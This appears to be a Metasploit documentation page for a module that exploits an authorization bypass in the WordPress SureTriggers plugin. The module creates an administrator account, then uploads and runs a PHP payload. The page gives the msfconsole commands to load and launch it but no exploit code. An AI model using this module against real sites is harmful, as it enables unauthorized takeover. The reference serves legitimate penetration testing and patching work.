This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78). It first creates a new administrator account via the unauthenticated REST endpoint, then uploads and executes a PHP payload using FileDropper for remote code execution.
Linux,PHP,Unix,Windows
php, cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/wp_suretriggers_auth_bypass
msf exploit(wp_suretriggers_auth_bypass) > show targets
...targets...
msf exploit(wp_suretriggers_auth_bypass) > set TARGET < target-id >
msf exploit(wp_suretriggers_auth_bypass) > show options
...show and set options...
msf exploit(wp_suretriggers_auth_bypass) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security